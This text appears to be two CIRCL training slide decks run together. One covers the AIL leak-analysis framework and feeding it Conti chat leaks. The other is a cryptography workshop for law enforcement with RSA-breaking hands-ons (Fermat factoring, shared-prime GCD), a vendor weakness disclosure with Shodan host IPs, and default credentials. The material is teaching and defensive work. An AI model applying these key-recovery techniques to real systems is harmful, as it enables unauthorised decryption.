[20] `https://github.com/ail-project/ail-feeder-discord`
[21] `https://github.com/ail-project/ail-feeder-atom-rss`
[22] `https://github.com/ail-project/ail-feeder-jsonlogs`

Feeding AIL with custom JSON

conti leaks
@ContiLeaks

conti jabber leaks anonfiles.com/VeP6K6K5xc/1_t...

9:22 PM · 27 févr. 2022 · Twitter Web App

123 Retweets **23** Tweets cités **297** J'aime


```
{
  "ts": "2020-09-08T00:28:49.471678",
  "from": "ceram@q3mcco35auwcstmt.onion",
  "to": "stern@q3mcco35auwcstmt.onion",
  "body": "Проинструктируйте меня. Что делать?"
}
```

Feeding AIL with Conti leaks

- Conti jabber leaks are a good candidate for AIL analysis:
  - PGP keys
  - Bitcoin addresses, maybe others,
  - onion hidden services
- first we translated the files on english using deepl.com
- then we created a feeder to import json data in AIL
- Support added in AIL to correlate jabber usernames

Feeding AIL with Conti leaks

```
from pyail import PyAIL
#... imports
#...  setup code
for content in sys.stdin:
    elm = json.loads(content)
    tmp = elm['body']
    tmpmt = {}
    tmpmt['jabber:to'] = elm['to']
    tmpmt['jabber:from'] = elm['from']
    tmpmt['jabber:ts'] = elm['ts']
    tmpmt['jabber:id'] = "{}".format(uuid.uuid4())
    pyail.feed_json_item(tmp, tmpmt, ailfeedertype, source_uuid)
```

feeder.py

```
$ cat ~/conti/* | jq . -c | python ./feeder.py
```

Feeding AIL with Conti leaks

- use grep to limit the noise on an instance by only sending interesting bits:
  - PGP keys

```
$ cat ~/conti/* | jq . -c | grep PGP | python ./feeder.py
```

  - onion hidden services | `grep http://` |
  - telegram addresses | `grep tg://` |
  - bitcoins addresses | `egrep --regexp="[13][a-km-zA-HJ-NP-Z1-9]25,34"` |

Starting the framework

Running your own instance from source

Accessing the environment and starting AIL

```

# Launch the system and the web interface
cd bin/
./LAUNCH -l
```

Updating AIL

Launch the updater:

```
cd bin/
# git pull and launch all updates:
./LAUNCH -u


# PS:
# The Updater is launched by default each time
# you start the framework with
# ./LAUNCH -l
```

Running your own instance using the virtual machine

Login and passwords:

```
# Web interface (default network settings)
  https://127.0.0.1:7000/
# Web interface:
  admin@admin.test
  Password1234
# SSH:
  test
  Password1234
```

AIL ecosystem - Challenges and design

AIL ecosystem: Technologies used

Programming language: Full python3

Databases: Redis and Kvrocks

Server: Flask

Data message passing: Redis Set

AIL global architecture: Data streaming between module

AIL global architecture: Data streaming between module (Credential example)

Message consuming

→ No message lost nor double processing

→ Multiprocessing!

Creating new features

Developing new features: Plug-in a module in the system

Choose where to put your module in the data flow:

Then, modify `configs/modules.cfg` accordingly

Writing your own modules - /bin/modules/TemplateModule.py

```python
from modules.abstract_module import AbstractModule

class NewModule(AbstractModule):

  def __init__(self):
        super().__init__()
    self.logger.info(f'Module {self.module_name} initialized')

  # Do something with the message from the queue
  def compute(self, message):
    # Process Message

# LAUNCH MODULE
if __name__ == '__main__':
    module = NewModule()
    module.run()


```

Writing your own Importer - /bin/importer/

```python
from importer.abstract_importer import AbstractImporter
from modules.abstract_module import AbstractModule

class MyNewImporter(AbstractImporter):

    def __init__(self):
        super().__init__()
        # super().__init__(queue=True)   # if it's an one-time run importer
        self.logger.info(f'Importer {self.name} initialized')

    def importer(self, my_var): # import function
        # Process my_var and get content to import
        content = GET_MY_CONTENT_TO_IMPORT
        # if content is not gzipped and/or not b64 encoded,
        # set gzipped and/or b64 to False
        message = self.create_message(item_id, content)
        return message
        # if it's an one-time run, otherwise create an AIL Module
        # self.add_message_to_queue(message)

class MyNewModuleImporter(AbstractModule):
    def __init__(self):
        super().__init__() # init module ...
        # init module ...
```

Writing your own Importer - /bin/importer/

```python

    def get_message(self):
        return self.importer.importer()

    def compute(self, message):
        self.add_message_to_queue(message)

if __name__ == '__main__':
    module = MyNewModuleImporter()
    module.run()

    # if it's an one-time run:
    # importer = MyImporter()
    # importer.importer(my_var)


```

Contribution rules

How to contribute

Glimpse of contributed features

- Docker
- Ansible
- Email alerting
- SQL injection detection
- Phone number detection

How to contribute

- Feel free to fork the code, play with it, make some patches or add additional analysis modules.

How to contribute

- Feel free to fork the code, play with it, make some patches or add additional analysis modules.
- Feel free to make a pull request for your contribution

How to contribute

- Feel free to fork the code, play with it, make some patches or add additional analysis modules.
- Feel free to make a pull request for your contribution
- That's it!

〈(^.^)〉

Final words

- Building AIL helped us to find additional leaks which cannot be found using manual analysis and **improve the time to detect duplicate/recycled leaks**.

  → Therefore quicker response time to assist and/or inform proactively affected constituents.

Implementation Steps in AIL project

- **Gradual changes** in AIL to add required functionalities to support the objectives.
- **Time-memory trade-off** can be challenging to ensure a functional framework.
- Evaluation and integration of new modules in AIL based on time-memory comparisons.
- Semantic aspects are challenging due to the diverse data sources, unstructured data and languages seen.

Ongoing Developments

- Text Geolocation
- Improved MISP Export
- Bloom filter filtering - PSS
- Analysis of relationships and activity between chats, including message forwards, replies, timelines, etc.
- Improved indexing relying on Solr, Lucene or other components
- Integration with FlowIntel

Private Search Set (PSS)

Annexes

Managing AIL: Old fashion way

Access the script screen

```
screen -r Script
```

Table: GNU screen shortcuts

Shortcut	Action
C-a d	detach screen
C-a c	Create new window
C-a n	next window screen
C-a p	previous window screen

Cryptography Workarounds For Law Enforcement

Snake oil Crypto, D4 and other tricks

Team CIRCL

CIRCL
Computer Incident
Response Center
Luxembourg

2019/11/27

Jean-Louis Huynen

Outline

- Cryptography 101,
- Brute Force 101,
- Encryption an Law Enforcement,
- Pretty Good Privacy / GnuPG
- Use-Case: RSA,
- First Hands-on: Understanding RSA,
- Snake-Oil-Crypto: a primer,
- Second Hands-on: RSA in Snake-Oil-Crypto,
- D4 passiveSSL Collection,
- Interactions with MISP.

Cryptography 101

Cryptography Concepts

- **Plaintext** P: Text in clear,
- **Encryption** E: Process of disguising the plaintext to hide its content,
- **Ciphertext** C: Result of the Encryption process,
- **Decryption** D: Process of reverting encryption, transforming C into P,
- **Encryption Key** EK: Key to encrypt P into C,
- **Decryption Key** DK: Key to decrypt C into P,
- **Cryptanalysis**: Analysis of C to recover P without knowing K.

Cryptography Services

- **Confidentiality** : Ensure the secrecy of the message except for the **intended** recipient,
- **Authentication** : Proving a party's identity,
- **Integrity** : Verifying that data transmitted were not altered,
- **Non-repudiation** : Proving that the sender sent a given message.

Type of Encryption Applications

- **In-transit encryption**: protects data while it is transferred from one machine to another,
- **At-rest encryption**: protects data stored on one machine.

Encryption most important concepts

- **Confusion**: Obscures the relationship between the Cipher Text and the key. In a perfect cipher, changing one bit of the key should change all bits of the Cipher Text.
- **Diffusion**: Hides relationship between the Plain Text and the Cipher Text (eg. symbols frequencies). In a perfect cipher changing a single bit of the Plain Text bit affects at least half of the Cipher Text bits.
- **Kerckhoffs's Principle**: The algorithm can be public:
  It [cipher] should not require secrecy, and it should not be a problem if it falls into enemy hands.

There is no security in obscurity.

Attackers model I

Black Box - Attackers may only see inputs / outputs:

- **Ciphertext-Only Attackers (COA) :** see only the ciphertext,
- **Known-Plaintext Attackers (KPA):** see ciphertext and plaintext,
- **Chosen-Plaintext Attacker (CPA):** encrypt plaintext, and see ciphertext,
- **Chosen-Ciphertext Attakers (CCA):** encrypt plaintext, decrypt ciphertext.

Attackers model II

Grey Box - Attackers see cipher's implementation:

- **Side-Channel Attacks:** study the behavior of the implementation, eg. **timing attacks** [1]:
  - Osvik, Shamir, Tromer [OST06]: Recover AES-256 secret key of Linux's dmcrypt in just 65 ms
  - AlFardan, Paterson [AFP13]: "Lucky13" recovers plaintext of CBC-mode encryption in pretty much all TLS implementations
  - Yarom, Falkner [YF14]: Attack against RSA-2048 in GnuPG 1.4.13: "On average, the attack is able to recover 96.7% of the bits of the secret key by observing a single signature or decryption round."
  - Benger, van de Pol, Smart, Yarom [BvdPSY14]: "reasonable level of success in recovering the secret key" for OpenSSL ECDSA using secp256k1 "with as little as 200 signatures"

Attackers model III

Most recent timing attack: **TPM-fail** [24420]

We discovered timing leakage on Intel firmware-based TPM (fTPM) as well as in STMicroelectronics' TPM chip. Both exhibit secret-dependent execution times during cryptographic signature generation. While the key should remain safely inside the TPM hardware, we show how this information allows an attacker to recover 256-bit private keys from digital signature schemes based on elliptic curves.

Attackers model IV

- **Invasive Attacks:**
  - injecting faults [MFS+18],

Attackers model V

- decapping chips [2], reverse engineering [3] [4], etc [Hec18].

[1] https://cryptojedi.org/peter/data/croatia-20160610.pdf
[2] https://siliconpr0n.org/wiki/doku.php?id=decap:start
[3] http://siliconzoo.org
[4] http://degate.org

Security Notions

- **Indistinguishability (IND) :** Ciphertexts should be indistinguishable from random strings,
- **Non-Malleability (MD):** "Given a ciphertext $C_1 = E(K, P1)$, it should be impossible to create another ciphertext, C_2 , whose corresponding plaintext, P_2 , is related to P_1 in a meaningful way."

Semantic Security (IND-CPA) is the most important security feature:

- Ciphertexts should be different when encryption is performed twice on the same plaintext,
- To achieve this, randomness is introduced into encryption / decryption:
  - $C = E(P, K, R)$
  - $P = D(C, K, R)$

Figure: Image encrypted with AES-ECB

Semantic Security

IND-CPA should not leak information about the PlainText as long as the key is secret:

- $C^1 = E(K, P^1)$, $C^2 = E(K, P^2)$, what are the couples?
- the same message encrypted twice should return two different CipherText,
- one way to achieve this is to introduce randomness in the encryption process: $C = E(K, R, P)$ where R is fresh random bits,
- C should not be distinguishable from random bits.

No Semantic Security without randomness

Randomness

- **Entropy**: (measure of) disorder in a system,
- **Random Number Generator**: a source of entropy, or uncertainty,
- **Pseudo Random Number Generator**: a crypto algorithm that produces a stream of random (hopefully) bits from the RNG.
- there are cryptographic and non-cryptographic (predictable) PRNG,
- there are software-based, and hardware-based PRNG.

Figure 2-1: RNGs produce few unreliable bits from analog sources, whereas PRNGs expand those bits to a long stream of reliable bits.

Bad entropy sources are a disaster for crypto-systems (ask casinos).

Quantifying Security

RSA 2048 is roughly 100 bits security.

- The key size is different for the “bits of security”,
- “n-bits” of security means that 2^n operations are needed to compromise break a cipher.

Type of encryption

- Symmetric encryption: two parties share a key to encrypt and decrypt,
- Asymmetric encryption, there are two keys:
  - one can encrypt – this one is public – so public can send you encrypted messages,
  - another one can decrypt – this one is private – so you can decrypt the message encrypted for you.
- Obviously, one can not compute the private key from the public key.
- as the public key is public, the attacker model of public-key cryptography is Chosen Plaintext Attacker.

Brute Force 101

Brute Forcing - Basics

2 Approaches:

- **Exhaustive Key Search:**
  - n bits key : 2^n trials,
  - most likely around half of the trials (2^{n-1}),
  - no memory needed.
- **Code Book Attack**
  - Pre-Compute $C = E(P, K)$ for all keys K,
  - store 2^k keys,
  - for a given C, look up for K.

Brute Forcing - Key Search

Key search is testing each possible keys by trial and errors:

- We usually consider that one trial requires 1 ns to complete,
  - n bits key : 2^n trials,
  - 128 bits of security : 2^{128} trials,
  - 2^{88} ns = age of the universe,
  - with ns by trial, we need 2^{40} times the age of the universe to cover all keys,
- some attacks can be done in parallel (sequentially independent operations):
  - For one million cores:
  - length of one million in bits is $log2(1000000) = 19,93$
  - $2^{128}/2^{20} = 2108$
  - 2^{20} times the age of the universe.

Brute Forcing - TMTO I

"It usually takes a long time to find a shorter way."

Time-**M**emory **T**rade **O**ff:

- Chosen Plaintext Attack,
- Hellman in 1980,
- It is a trade-off between Exhaustive Key Search, and Code Book Attacks,
- more expensive than an exhaustive search as it requires:
  - 2^n one-time pre-computations, using one known plaintext,
  - the storage of these 2^n results,
  - the results are chains, that also have a cost to invert.
- speed-up attacks against memory space,
- useful when routinely attacking a cipher (eg. computing 1.68 To of tables allows for almost instant cracking of A5/1 cipher used in GSM communications).

Brute Forcing - TMTO II

Rainbow Tables are an improved version of Hellman's algorithm.

How Keys are generated anyway?

There are three ways keys can be generated:

- By **Randomly** choosing the key from a PRNG,
- by **Deriving** the key from a password using a Key Derivation Function,
- by using a **Key agreement protocol** that requires interactions between involved parties.

Encryption and Law Enforcement

2016 ENISA / EUROPOL JOINT STATEMENT

- In the arms race between cryptographers and crypto-analysts. In terms of practical breaks, cryptographers are miles ahead.
- In a society that is ever more depending on the correct functioning of electronic communication services, technical protection of these service is mandatory,
- In the face of serious crimes, law enforcement may lawfully intrude privacy or break into security mechanisms of electronic communication,
- **proportionality** - collateral damages (class breaks)
- Resolving the encryption dilemma: collect and share best practices to circumvent encryption.

Encryption Workarounds [KS17] I

Any effort to reveal an unencrypted version of a target's data that has been concealed by encryption.

- **Try to get the key:**
  - **Find the key:**
    - physical searches for keys,
    - password managers,
    - web browser password database,
    - in-memory copy of the key in computer's HDD / RAM.
    - seize the key (keylogger).
  - **Guess the key:**,
    - Whereas encryption keys are usually too hard to guess (eg. 128bits security is 2^{128} trials (universe is 2^{88} ns old)),
    - passphrases are usually shorter to be memorizable, and are linked to the key,
    - some systems have limitations on sorts of passwords (eg. 4/6 digits banking application),
    - educated guess on the password from context,

Encryption Workarounds [KS17] II

- educated guess from owner's other passwords,
- dictionaries and password generation rules ([5]).
- Offline / online attacks (eg. 13 digits pw: 25.000 on an iphone VS matter of minutes offline),
- + beware devices protection when online (eg. iphone erase on repeated failures).

- **Compel the key:**

Encryption Workarounds [KS17] III

- **Try to access the PlainText without the key:**
  - **Exploit a Flaw:**
    - Weakness in the algorithm (more on that later),
    - weakness in the random-number generator (more on that later),
    - weakness in the implementation,
    - bugs (eg. Gordon's exploit on android in 2015[6]),
    - backdoors (eg. NSA NOBUS -Bullrun program- Dual EC-DRBG [BLN15]
  - **Access PlainText when in use:**
    - Access live system memory,
    - especially useful against Full Disk Encryption,
    - Seize device while in use,
    - remotely hack the device,
    - "Network Investigative Technique" (eg. Playpen case against tor).

Encryption Workarounds [KS17] IV

- **Locate a PlainText copy:**
  - Avoid encryption entirely,
  - cloud providers (eg. emails),
  - remote cloud storage (eg. iCloud),

Takeaways:

- **No workaround works every time:** the fact that a target used encryption does not mean that the investigation is over.
- **some workarounds are expensive:** exploiting.
- **expertise may be have to be found outside of the governments:** vendors' assistance?

Encryption Workarounds [KS17] V

Technically, we can retain that crypto-systems have weaknesses:

- key generation,
- key length,
- key distribution,
- key storage,
- how users enter keys into the crypto-system,
- weakness in the algorithm itself / implementation,
- system / computer running the algorithm,
- crypto system used in different points in time,
- **users.**

[5] https://hashcat.net/hashcat/
[6] https://cve.circl.lu/cve/CVE-2015-3860

When cryptography helps investigations

- authentication mechanisms between peers,
- openGPG can leak a lot of metadata
  - key ids,
  - subject of email in thunderbird,
- Bitcoin's Blockchain is public,
- correlating these data with external sources can yields interesting insights,
- More on this in AIL workshop.

Pretty Good Privacy / Gnu Privacy Guard

Pretty Good Privacy / Gnu Privacy Guard

- PGP was Invented By Phil Zimmermann in 1991,
- Hybrid Cipher: asymmetric encryption with symmetric encryption,
- allows to sign communications and files for authentication,
- very low vulnerability count over the years [7],
- One can generate collisions on short IDs though[8],
- no Perfect Forward Secrecy,
- but sessions keys.

[7] https://cve.circl.lu/search/gnupg/gnupg
[8] https://github.com/lachesis/scallion/

Pretty Good Privacy / Gnu Privacy Guard

Pretty Good Privacy / Gnu Privacy Guard

Gnu Privacy Guard: Session keys

- **Hands-on**

```
Move into ~/hands-on/GPGsessions
```

- We create two keys, one for the person being the focused of an investigation A (The Very Bad Guy), and one for a witness B (Mr. Good Guy),
- then, we encrypt two messages:
  - one from A to B: to_encrypt_relevant.asc,
  - and a note, form B to B (note): to_encrypt_irrelevant.asc,
- B's passphrase is "goodguypassphrase",
- act as B and extract the session key for to_encrypt_relevant.asc,
- act as a cop and use the session key to decrypt to_encrpyt_relevant.asc,
- verifies that it does not work to decrypt to_encrypt_irrelevant.asc.

Broken Implementations

Default private keys I

SonarG/sonarfinder-ibm-4.1.8.el7.jsonar.x86_64.rpm:

Sonar Finder is part of SonarG and is distributed from https://gbdi-packages.jsonar.com/ within

```
md5sum: a3e4792e1f37b58ff054e05499f69bad rhel7.x_IBM_Guardium_big_data_security_installer_4
```

As

```
./sonarfinder-ibm-4.1.8.el7.jsonar.x86_64.rpm
```

Inside this rpm resides default configuration for an apache catalina server:

```
./opt/sonarfinder/sonarFinder/conf/server.xml
```

with the following default:

```
            <Certificate certificateKeyFile="${catalina.home}/sslCerts/jsonar.key"
                         certificateFile="${catalina.home}/sslCerts/jsonar.crt"
                         type="RSA" />
```

jsonar.key and jsonar.crt files are indeed present in the rpm.
They should instead be generated during the installation because otherwise they offer no protection to the users who to not take care of rotating these keys.

Impact

Loss of confidentiality, integrity and authenticity.

Default private keys II

TOTAL RESULTS

10

TOP COUNTRIES

United States	10

TOP SERVICES

HTTPS (8443)	9
HTTPS	1

TOP ORGANIZATIONS

Amazon.com	7
SoftLayer Technologies	1
Microsoft Azure	1
Google Cloud	1

New Service: Keep track of what you have connected to the Internet. Check out **Shodan Monitor**

jSonar - Login - Simplifying Security

40.83.166.244
Microsoft Azure
Added on 2019-11-18 09:36:04 GMT
United States, San Jose
Technologies:

cloud self-signed

SSL Certificate

Issued By:
- Common Name: **jSonar Inc.**
- Organization: **jSonar Inc.**

Issued To:
- Common Name: **jSonar Inc.**
- Organization: **jSonar Inc.**

Supported SSL Versions
TLSv1.2

```
HTTP/1.1 200
Cache-Control: must-revalidate, private
Expires: Mon, 3 Jan 2011 10:00:00 GMT
Strict-Transport-Security: max-age=0;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: upgrade-insecure-requests
...
```

jSonar - Login - Simplifying Security

35.175.229.130
ec2-35-175-229-130.compute-1.amazonaws.com
Amazon.com
Added on 2019-11-08 08:31:14 GMT
United States, Ashburn
Technologies:

cloud self-signed

SSL Certificate

Issued By:
- Common Name: **jSonar Inc.**
- Organization: **jSonar Inc.**

Issued To:
- Common Name: **jSonar Inc.**
- Organization: **jSonar Inc.**

Supported SSL Versions
TLSv1.2

```
HTTP/1.1 200
Cache-Control: must-revalidate, private
Expires: Mon, 3 Jan 2011 10:00:00 GMT
Strict-Transport-Security: max-age=0;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: upgrade-insecure-requests
...
```

Hello @jlhuynen, thank you for your report. Our product team has performed analysis on the reported issues and have determined the reported issue is not applicable due to reasoning below. Please let us know if you have any further questions or can provide additional information on the reported vulnerability.

They are generated and separate for every customer. This is the tomcat cert that the browser verifies. The customer generates these (we can't - because it is tied to a hostname of the customer).

XOR ENCRYPTION

```
class SecureFileHandler:
@staticmethod
def encrypt_file(filepath, content, hash_source, encrypt, return_string_only=False):
    msg_header = "SecureFileHandler encrypt_file"
    enc_string = content
    if encrypt:
        with open(hash_source, 'r') as fp:
            key = DispatcherUtils.get_hash_from_string("".join(fp.readlines()))
        try:
            cipher = XOR.new(key[:32])
```

"Custom" Key derivation function I

```
sonar_salt = bytes.fromhex('a462e2029fffc63b')
sonar_crypt_rounds = 5
```

```
def evp_bytes_to_key(salt, data, count):
    """
    Derive the key and the IV from the given password and salt.
    """
    iv_len = 16
    key_len = 32

    data_bytes = bytes(data.encode('ascii'))

    data_and_salt = (data_bytes + salt)

    dtot = bytes_to_key__md(hashlib.sha1, data_and_salt, count)

    d = [dtot]
    while len(dtot) < (iv_len + key_len):
        d.append(bytes_to_key__md(hashlib.sha1, d[-1] + data_and_salt, count))
        dtot += d[-1]

    return dtot[:key_len], dtot[key_len:key_len + iv_len]
```

AES-ECB

- Check out opt/sonarfinder/sonarFinder/sonardispatch/encryption.py

```
def _get_new_cipher(self):
    return Cipher(algorithms.AES(key=self.key), modes.ECB(), backend=default_backend())
```

Where the Electronic Code Book mode is chosen.

- One can easily try to guess passwords length as padding is not randomized, but use rjust instead:

```
def _make_encryptable_as_64bytes(some_string):
    return some_string.rjust(64).encode()
```

for instance using this small snippet of code:

```
    seed = "123456789abcde"
    p = lambda n: (seed * n)
    blocks = []
    for i in range(1,5):
        print(self.encrypt_text(p(i)))
```

You will obtain an output similar to this depending on your certificate cert.pem:


```
A+p/5lk1p+4BVy8IKE2YowPqf+ZZNafuAVcvCChNmKMD6n/mWTWn7gFXLwgoTZij978tU8k7UVjH4i4Wo2rDsQ==
A+p/5lk1p+4BVy8IKE2YowPqf+ZZNafuAVcvCChNmKMCLqgaP4UVu+oRcNMkgB7wqSx6/yCifkS18mG+FifbkQ==
A+p/5lk1p+4BVy8IKE2Yo2JaxRTcVnYtYHFMCkJXXVjbxU/x+qCMzOQ47lcbY2QTqSx6/yCifkS18mG+FifbkQ==
hRkVCQa2sjq2QTpX00AmDvo7MHzZ+C8qie62/pem7cjbxU/x+qCMzOQ47lcbY2QTqSx6/yCifkS18mG+FifbkQ==
```


One can then easily guess how many 16 bytes blocks are needed to encipher this password.

Understanding RSA

RSA Basics

Ron **R**ivest, Adi **S**hamir, and Leonard **A**dleman in 1977:

- asymmetric crypto system,
- can encrypt and sign,
- messages are big numbers,
- encryption is basically multiplication of big numbers,
- creates a *trapdoor permutation*: turning x in y is easy, but finding x from y is hard.

RSA "BY HAND"

- **Hands-on,** a sagemath script that is a toy example of RSA:

```
cd ~/hands-on/UsingRSA
sage rsa.sage
```

- **Outputs:**

```
PlainText is: 1234567890
p = random_prime(2^32) = 2312340619
q = random_prime(2^32) = 2031410981
n = p*q = 4697314125248937239
phi = (p-1)*(q-1) = 4697314120905185640
e = random_prime(phi) = 2588085603940229747
d = xgcd(e,phi)[1] = -2102894211931680277
Does d*e == 1?
 mod(d*e, phi) = 1
CipherText y = power_mod(x, e, n) = 1454606910711062745
Decrypted CT is: 1234567890
```

RSA - Use with openssl

- **Hands-on**:

  `~/hands-on/UsingRSA`

- Decrypt message.bin
- generate a new private key,
- generate the corresponding public key,
- use this new key to encrypt a message,
- use this new key to decrypt a message.

With only one key

Several potential weaknesses:

- Key size too small: keys up to 1024 bits are breakable given the right means,
- close p and q,
- unsafe primes, smooth primes,
- broken primes (FactorDB, Debian OpenSSL bug).
- signing with RSA-CRT (instead of RSA-PSS)

With a set of keys

Several potential weaknesses:

- share moduli: if $n_1 = n_2$ then the keys share p and q,
- share p or q,

In both case, it is trivial to recover the private keys.

Breaking small keys[9]

- **Hands-on**:

  `~/hands-on/SmallKey`

- what is the key size of smallkey?
- what is n?
- what is the public exponent?
- what is n in base10?
- what are p and q?

Let's generate the private key: using p, then using q.

[9] https://www.sjoerdlangkemper.nl/2019/06/19/attacking-rsa/

Close Prime Factors

- **Hands-on**:

  ~/hands-on/ClosePQ

- use Fermat Algorithm[10] to find **both p and q:**

```
def fermatfactor(N):
  if N <= 0: return [N]
  if is_even(N): return [2,N/2]
  a = ceil(sqrt(N))
  while not is_square(a^2-N):
    a = a + 1
  b = sqrt(a^2-N)
  return [a - b,a + b]
```

[10] http://facthacks.cr.yp.to/fermat.html

Shared prime factors

Researchers have shown that several devices generated their keypairs at boot time without enough entropy[11]:

```
prng.seed(seed)
p = prng.generate_random_prime()
// prng.add_entropy()
q = prng.generate_random_prime()
n = p*q
```

Given n=pq and n' = pq' it is trivial to recover the shared p by computing their **Greatest Common Divisor (GCD)**, and therefore **both private keys**[12].

"They cracked about 13000 of them"

[11] Bernstein, Heninger, and Lange: `http://facthacks.cr.yp.to/`
[12] `http://www.loyalty.org/~schoen/rsa/`

Shared prime factors

- **Hands-on**:

  `~/hands-on/SharedPrimeFactor`

- Read README.txt, you have a challenge to solve :
  - the *answers* folder should be left alone for now,
  - *scripts* contains scripts that may be useful to solve the challenge,
  - *attempts* may hold your attempt are generating private keys.
  - *bgcd-bd.sage* contains Daniel J. Berstein's algorithm for computing RSA collisions in batches.

Hands-on: Exploiting Weaknesses in RSA
– at bigger scale –

Snake Oil Crypto[13] - Problem Statement

We reckon that IoT devices **are often the weakest devices** on a network:

- Usually the result of cheap engineering,
- sloppy patching cycles,
- sometimes forgotten–not monitored (remember the printer sending sysmon?),
- few hardening features enabled.

We feel a bit safer when they use TLS, but we what you now know about RSA, should we?

[13] https://github.com/d4-project/snake-oil-crypto

Snake Oil Crypto - GCD

In Snake-Oil-Crypto we compute GCD[14] between:

- between certificates having the same issuer,
- between certificates having the same subject,
- on keys collected from various sources (PassiveSSL, Certificate Transparency, shodan, censys, etc.),
- python + redis + postgresql [15]

"Check all the keys that we know of for vendor X"

[14] using Bernstein's Batch GCD algorithm
[15] `https://github.com/D4-project/snake-oil-crypto/`

Snake Oil Crypto - GCD

Quick Demo:

- Let's check how strong are the RSA keys in our database...
- check some results on https://misp-eurolea.enforce.lan
- how bad can it be?
- do you find some vendors we should notify?

Snake Oil Crypto - MISP feed

Snake Oil Crypto - MISP feed

The MISP feed:

- **Allows** for checking automatic checking by an IDS on hashed values,
- **contains** thousands on broken keys from a dozen of vendors,
- **will be accessible upon request (info@circl.lu).**

In the future:

- **Automatic** the vendor checks by performing TF-IDF on x509's subjects,
- **automatic** vendors notification.

Hands-on: Exploiting Weaknesses in RSA
– enter D4-project –

Problem statement

- CSIRTs (or private organisations) build their **own honeypot, honeynet or blackhole monitoring network**
- Designing, managing and operating such infrastructure is a tedious and resource intensive task
- **Automatic sharing** between monitoring networks from different organisations is missing
- Sensors and processing are often seen as blackbox or difficult to audit

Objective

- Based on our experience with MISP[16] where sharing played an important role, we transpose the model in D4 project
- Keeping the protocol and code base **simple and minimal**
- Allowing every organisation to **control and audit their own sensor network**
- Extending D4 or **encapsulating legacy monitoring protocols** must be as simple as possible
- Ensuring that the sensor server has **no control on the sensor** (unidirectional streaming)
- Don't force users to use dedicated sensors and allow **flexibility of sensor support** (software, hardware, virtual)

[16] https://github.com/MISP/MISP

D4 Overview

sensors
pssl
pcap and pdns
pcap
pdns
pcap
...
d4-core
D4 project
D4 server
analyzers
analyzer-d4-passivedns
analyzer-d4-ddos
Passive DNS lookup
MISP
Threat Sharing
CSIRTs - MeliCERTes
X-ISAC
D4 project - global overview (20190127)
d4 encapsulation protocol
d4 server-analyzer protocol
MISP synchronisation
ReST API

D4 Overview - Connecting Sensor Networks

D4 - TLS Fingerprinting

Keep a log of links between:

- x509 certificates,
- ports,
- IP address,
- client (ja3),
- server (ja3s),

  "JA3 is a method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence."[17]

Pivot on additional data points during Incident Response

[17] https://github.com/salesforce/ja3

D4 - TLS Fingerprinting

- **Hands-on**:

  `~/hands-on/TLSinspection`

- open stripped.pcap
- what is the admin password?
- bummer, it's encrypted,
- what is the admin password?

D4 - full chain demo.

First release

- ✓ sensor-d4-tls-fingerprinting [18]: **Extracts** and **fingerprints** certificates, and **computes** TLSH fuzzy hash.
- ✓ analyzer-d4-passivessl [19]: **Stores** Certificates / PK details in a PostgreSQL DB.
- snake-oil-crypto [20]: **Performs** crypto checks, push results in MISP for notification
- lookup-d4-passivessl [21]: **Exposes** the DB through a public REST API.

[18] `github.com/D4-project/sensor-d4-tls-fingerprinting`
[19] `github.com/D4-project/analyzer-d4-passivessl`
[20] `github.com/D4-project/snake-oil-crypto`
[21] `github.com/D4-project/lookup-d4-passivessl`

Get in touch if you want to join/support the project, host a passive SSL sensor or contribute

- Collaboration can include research partnership, sharing of collected streams or improving the software.
- Contact: info@circl.lu
- `https://github.com/D4-Project` - `https://twitter.com/d4_project`

References I

- *TPM-FAIL: TPM meets timing and lattice attacks*, 29th USENIX Security Symposium (USENIX Security 20) (Boston, MA), USENIX Association, August 2020.
- Nadhem J. Al Fardan and Kenneth G. Paterson, *Lucky thirteen: Breaking the TLS and DTLS record protocols*, Proceedings of the 2013 IEEE Symposium on Security and Privacy (Washington, DC, USA), SP '13, IEEE Computer Society, 2013, pp. 526–540.
- Ross J. Anderson, *Security engineering: A guide to building dependable distributed systems*, 2 ed., Wiley Publishing, 2008.
- Jean-Philippe Aumasson, *Serious cryptography: A practical introduction to modern encryption*, no starch press, 2017.
- Daniel J. Bernstein, Tanja Lange, and Ruben Niederhagen, *Dual EC: A standardized back door*, IACR Cryptology ePrint Archive **2015** (2015), 767.

References II

- Naomi Benger, Joop van de Pol, Nigel P. Smart, and Yuval Yarom, *"ooh aah... just a little bit" : A small amount of side channel can go a long way*, Cryptographic Hardware and Embedded Systems – CHES 2014 (Berlin, Heidelberg) (Lejla Batina and Matthew Robshaw, eds.), Springer Berlin Heidelberg, 2014, pp. 75–92.
- Dieter Gollmann, *Computer security (3. ed.)*, Wiley, 2011.
- Thibaut Heckmann, *Reverse engineering secure systems using physical attacks*, Ph.D. thesis, 2018, Thèse de doctorat dirigée par Naccache, David Mathématiques Paris Sciences et Lettres 2018.
- M. Hellman, *A cryptanalytic time-memory trade-off*, IEEE Trans. Inf. Theor. **26** (2006), no. 4, 401–406.
- Orin S. Kerr and Bruce Schneier, *Encryption workarounds*, SSRN Electronic Journal (2017).

References III

- Kohei Matsuda, Tatsuya Fujii, Natsu Shoji, Takeshi Sugawara, Kazuo Sakiyama, Yu-Ichi Hayashi, Makoto Nagata, and Noriyuki Miura, *A 286 f2/cell distributed bulk-current sensor and secure flush code eraser against laser fault injection attack on cryptographic processor*, IEEE Journal of Solid-State Circuits **53** (2018), no. 11, 3174–3182.
- Alfred J. Menezes, Scott A. Vanstone, and Paul C. Van Oorschot, *Handbook of applied cryptography*, 1st ed., CRC Press, Inc., Boca Raton, FL, USA, 1996.
- Dag Arne Osvik, Adi Shamir, and Eran Tromer, *Cache attacks and countermeasures: The case of AES*, Topics in Cryptology – CT-RSA 2006 (Berlin, Heidelberg) (David Pointcheval, ed.), Springer Berlin Heidelberg, 2006, pp. 1–20.
- Joint Reports, *First report of the observatory function on encryption*, Tech. report, EUROPOL - EC3, 2019.

References IV

Yuval Yarom and Katrina Falkner, *Flush+reload: A high resolution, low noise, L3 cache side-channel attack*, 23rd USENIX Security Symposium (USENIX Security 14) (San Diego, CA), USENIX Association, August 2014, pp. 719–732.